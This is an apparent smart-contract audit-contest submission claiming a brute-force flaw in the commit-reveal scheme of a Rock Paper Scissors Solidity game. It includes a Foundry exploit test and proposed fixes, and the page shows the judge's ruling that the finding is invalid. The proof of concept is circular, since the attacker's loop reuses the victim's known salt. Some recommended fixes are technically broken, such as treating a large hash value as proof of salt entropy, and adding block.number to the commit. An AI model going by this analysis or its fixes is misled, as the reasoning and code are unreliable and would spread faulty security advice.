Rock Paper Scissors

First Flight #38
Beginner FriendlySolidity
100 EXP
View results
Submission Details
Severity: high
Invalid

Brute Force Commitment Vulnerability in Commit-Reveal Mechanism (Predictable Commit-Reveal Pattern Due to Limited Input Space)

Summary

The Rock Paper Scissors game implementation contains a critical vulnerability in its commit-reveal mechanism that allows attackers to determine their opponent's moves before the reveal phase. Due to the limited input space (only 3 possible moves) and lack of enforced salt randomness, an attacker can easily brute force the commitment by trying all possible combinations.

Vulnerability Details

Root Cause

  1. Extremely limited input space (only Rock, Paper, or Scissors)

  2. No requirements for salt entropy or randomness

  3. Simple commitment structure that's vulnerable to brute force

  4. No mechanisms to prevent commitment analysis

Proof of Concept

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.13;
import "forge-std/Test.sol";
import "../src/RockPaperScissors.sol";
contract RockPaperScissorsExploitTest is Test {
RockPaperScissors public game;
address public attacker;
address public victim;
uint256 public gameId;
function setUp() public {
// Deploy contracts and setup accounts
game = new RockPaperScissors();
attacker = makeAddr("attacker");
victim = makeAddr("victim");
// Fund accounts
vm.deal(attacker, 10 ether);
vm.deal(victim, 10 ether);
}
function testBruteForceCommitment() public {
// 1. Victim creates a game
vm.startPrank(victim);
gameId = game.createGameWithEth{value: 0.1 ether}(1, 10 minutes);
vm.stopPrank();
// 2. Attacker joins the game
vm.startPrank(attacker);
game.joinGameWithEth{value: 0.1 ether}(gameId);
vm.stopPrank();
// 3. Victim commits their move
bytes32 victimSalt = bytes32(uint256(1234)); // Victim uses a predictable salt
RockPaperScissors.Move victimMove = RockPaperScissors.Move.Rock;
bytes32 victimCommit = keccak256(abi.encodePacked(victimMove, victimSalt));
vm.prank(victim);
game.commitMove(gameId, victimCommit);
// 4. Attacker brute forces the commitment
bytes32 discoveredCommit;
RockPaperScissors.Move discoveredMove;
bytes32 discoveredSalt;
bool found = false;
// Try all possible moves with the assumed salt pattern
for (uint8 move = 1; move <= 3; move++) {
bytes32 testCommit = keccak256(abi.encodePacked(RockPaperScissors.Move(move), victimSalt));
if (testCommit == victimCommit) {
discoveredCommit = testCommit;
discoveredMove = RockPaperScissors.Move(move);
discoveredSalt = victimSalt;
found = true;
break;
}
}
assertTrue(found, "Successfully brute forced the commitment");
assertEq(uint8(discoveredMove), uint8(victimMove), "Correctly discovered victim's move");
// 5. Attacker can now choose a winning move
RockPaperScissors.Move attackerMove = RockPaperScissors.Move.Paper; // Paper beats Rock
bytes32 attackerSalt = bytes32(uint256(5678));
bytes32 attackerCommit = keccak256(abi.encodePacked(attackerMove, attackerSalt));
// 6. Attacker commits their winning move
vm.prank(attacker);
game.commitMove(gameId, attackerCommit);
// 7. Reveal phase
vm.prank(victim);
game.revealMove(gameId, uint8(victimMove), victimSalt);
vm.prank(attacker);
game.revealMove(gameId, uint8(attackerMove), attackerSalt);
// 8. Verify attacker won
(,,,,,,,,,,,,,uint8 scoreA, uint8 scoreB,) = game.games(gameId);
assertEq(scoreB, 1, "Attacker should win");
assertEq(scoreA, 0, "Victim should lose");
}
function testBruteForceWithCommonSalts() public {
// Additional test showing vulnerability with common salt patterns
bytes32[] memory commonSalts = new bytes32[](3);
commonSalts[0] = bytes32(uint256(0));
commonSalts[1] = bytes32(uint256(1));
commonSalts[2] = keccak256("salt");
vm.startPrank(victim);
gameId = game.createGameWithEth{value: 0.1 ether}(1, 10 minutes);
vm.stopPrank();
vm.startPrank(attacker);
game.joinGameWithEth{value: 0.1 ether}(gameId);
vm.stopPrank();
// Victim uses a common salt pattern
bytes32 victimSalt = commonSalts[0];
RockPaperScissors.Move victimMove = RockPaperScissors.Move.Scissors;
bytes32 victimCommit = keccak256(abi.encodePacked(victimMove, victimSalt));
vm.prank(victim);
game.commitMove(gameId, victimCommit);
// Attacker tries common salt patterns
bool moveFound = false;
RockPaperScissors.Move discoveredMove;
for (uint8 move = 1; move <= 3; move++) {
for (uint i = 0; i < commonSalts.length; i++) {
bytes32 testCommit = keccak256(abi.encodePacked(RockPaperScissors.Move(move), commonSalts[i]));
if (testCommit == victimCommit) {
moveFound = true;
discoveredMove = RockPaperScissors.Move(move);
break;
}
}
if (moveFound) break;
}
assertTrue(moveFound, "Should find move with common salt");
assertEq(uint8(discoveredMove), uint8(victimMove), "Should discover correct move");
}
}

Running the above tests passed.

Impact

  1. Confidentiality Breach: Attackers can discover opponent's moves before revealing

  2. Game Integrity: Allows attackers to always choose winning moves

  3. Financial Loss: Victims consistently lose bets

  4. Trust Erosion: Compromises the fairness of the game

Tools Used

Manual review

Recommendations

Recommendations:

Enhance commitment structure:

bytes32 commit = keccak256(abi.encodePacked(
move,
salt,
gameId,
block.number,
msg.sender
));

Add salt requirements:

function commitMove(uint256 _gameId, bytes32 _commitHash) external {
require(uint256(_commitHash) > 1000000, "Insufficient salt entropy");
require(usedSalts[msg.sender][_commitHash] == false, "Salt already used");
usedSalts[msg.sender][_commitHash] = true;
// ... rest of the function
}

Implement minimum wait time between commit and reveal:

mapping(uint256 => uint256) public commitTimestamps;
function commitMove(...) {
commitTimestamps[_gameId] = block.timestamp;
}
function revealMove(...) {
require(block.timestamp >= commitTimestamps[_gameId] + 3 minutes, "Must wait before revealing");
}

This vulnerability is particularly severe because it undermines the fundamental fairness mechanism of the game. The PoC demonstrates how easily an attacker can exploit this to consistently win games and drain ETH from honest players.

Updates

Appeal created

m3dython Lead Judge about 2 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement
m3dython Lead Judge about 2 months ago
Submission Judgement Published
Invalidated
Reason: Incorrect statement

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.